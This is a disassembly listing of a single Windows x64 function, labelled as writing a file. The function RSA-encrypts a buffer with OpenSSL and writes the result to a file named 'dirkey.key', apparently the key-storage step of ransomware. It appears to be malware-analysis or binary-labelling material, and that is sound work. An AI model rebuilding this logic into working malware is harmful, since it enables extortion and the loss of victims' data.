Function at 0x140003b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
xor ebp, ebp
mov byte [rsp + 0x90], 1
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0x91]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 4
mov r9, rsi
lea r8, [rsp + 0x90]
mov rdx, rbx
lea ecx, [rbp + 0x20]
call qword [sym.imp.libcrypto_1_1_x64.dll_RSA_public_encrypt]
cmp eax, 0xffffffff
jne 0x140003bd9
lea rdx, str.Error_encrypting_data.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.libcrypto_1_1_x64.dll_RSA_free]
mov rcx, qword [rdi + 0x10]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rcx
cmp rax, 1
jb 0x140003dbc
cmp qword [rdi + 0x18], 0xf
jbe 0x140003c01
mov rdi, qword [rdi]
mov qword [rsp + 0x30], 1
lea rax, [0x140006838]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea rcx, [rsp + 0x68]
call fcn.140003060
nop
mov rax, qword [rsp + 0x78]
sub rbx, rax
cmp rbx, 0xa
jb 0x140003db6
lea r9, [rsp + 0x68]
cmp qword [rsp + 0x80], 0xf
cmova r9, qword [rsp + 0x68]
mov qword [rsp + 0x30], 0xa
lea rcx, str.dirkey.key
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x48]
call fcn.140003060
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003ce9
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ce4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ce4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000508c
movdqa xmm0, xmmword [0x1400081d0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
cmp rbx, 0xffffffffffffffff
jne 0x140003d27
lea rdx, [0x140008060]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003d50
mov qword [rsp + 0x20], rbp
xor r9d, r9d
mov r8d, 0x100
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140003d93
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000508c
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140004df0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret
call fcn.140001290
nop
call fcn.140001290
int3